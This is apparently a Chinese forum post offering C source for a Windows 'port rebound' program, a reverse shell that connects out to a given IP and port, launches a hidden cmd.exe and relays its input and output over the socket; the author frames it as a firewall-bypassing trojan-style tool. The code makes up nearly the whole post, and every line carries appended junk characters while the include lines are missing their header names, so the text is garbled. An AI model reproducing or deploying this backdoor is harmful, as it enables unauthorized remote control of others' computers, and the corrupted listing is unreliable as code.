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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ={:a N)  
^U_T<x8{  
/* ============================== :*''ci  
Rebound port in Windows NT yXR1 NYg  
By wind,2006/7 `Y?VQ~ci>  
===============================*/ K.)!qkW-%S  
#include n(F!t,S1i  
#include r.H`3m.0q  
P9cx&Hk9  
#pragma comment(lib,"wsock32.lib") 2^WJ1: A  
l/X_CM8y~  
void OutputShell(); l'+3 6  
SOCKET sClient; S:_Ms{S  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YO7U}6wBt  
E JkHPn  
void main(int argc,char **argv) ;?2)[a  
{ hC:'L9Y  
WSADATA stWsaData; p`Pa;=L  
int nRet; ~$HB}/  
SOCKADDR_IN stSaiClient,stSaiServer; O^@8Drgc  
x4'@U<  
if(argc != 3) 7s|'NTp  
{ 2a$. S " ?  
printf("Useage:\n\rRebound DestIP DestPort\n"); g<:Lcg"u  
return; C& +MRP  
} r[L%ap\{  
`>:5[Y  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;}46Uc#WS  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Js,!G  
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stSaiClient.sin_family = AF_INET; 1X?ro;  
stSaiClient.sin_port = htons(0); #aP#r4$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P>7Xbm,VP  
x>#{C,Fi  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W>@ti9\t  
{ .q@?sdGD  
printf("Bind Socket Failed!\n"); &BVHQ7[  
return; Lzh8-d=HQ  
} vhrf89-q  
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stSaiServer.sin_family = AF_INET; 2}vibDq p  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )0"Q h  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d6luksO*9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <XdnVe1  
{ [ RyVR  
printf("Connect Error!"); j_8 YFz5  
return; !vSI"$xd  
} \<LCp;- K  
OutputShell(); w$}q`k'  
} #t+?eye~  
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void OutputShell() -+".ut:R  
{ CsO!Y\'FY  
char szBuff[1024]; my 'nDi  
SECURITY_ATTRIBUTES stSecurityAttributes; n2U &}O  
OSVERSIONINFO stOsversionInfo; |a(KVo  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p*g Fr hm  
STARTUPINFO stStartupInfo; dN{At-  
char *szShell; E)v~kC}7.  
PROCESS_INFORMATION stProcessInformation; _{*} )&!M  
unsigned long lBytesRead; 8em'7hR9  
72<9xNcB!}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W5R/Ub@g  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q*hn5K*  
stSecurityAttributes.lpSecurityDescriptor = 0; |+cz\+  
stSecurityAttributes.bInheritHandle = TRUE; -KiPqE%&G  
?%O>]s  
`Skvqo(5:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V+gZjuN$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k[Em~>m  
1-kuK<KR  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pS?D~0Nb  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m<gdyY   
stStartupInfo.wShowWindow = SW_HIDE; z|g2Q#$-\S  
stStartupInfo.hStdInput = hReadPipe; E?w#$HS  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j*%#~UFw  
}z]d]  
GetVersionEx(&stOsversionInfo); )vtbA=RH?  
3D|Lb]=  
switch(stOsversionInfo.dwPlatformId) N.|F8b]v  
{ xQ9t1b|{e  
case 1: ZU\$x<,  
szShell = "command.com"; )]>t(  
break; 0|GYtnd  
default: 6i/unwe!`)  
szShell = "cmd.exe"; S>lP?2J  
break; 4 ]oe`yx  
} ~kc#"^s J  
[}L?EM  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2CC"Z  
iM .yen_vp  
send(sClient,szMsg,77,0); XDK Me}  
while(1) Au2^ T1F  
{ V9[_aP;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^#5'` #t  
if(lBytesRead) I Fw7?G,  
{ H{cOkuy  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J.iz%8  
send(sClient,szBuff,lBytesRead,0); MR "f)  
} .-$3I|}X=  
else u6C_*i{2  
{ fw%p_Cm  
lBytesRead=recv(sClient,szBuff,1024,0); fRNj *bIV  
if(lBytesRead<=0) break; BB}WfA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @3n!5XM{EE  
} ivo3 pibk%  
} 2I:P}!  
LJrH_h8C  
return; 0+mR y57  
}
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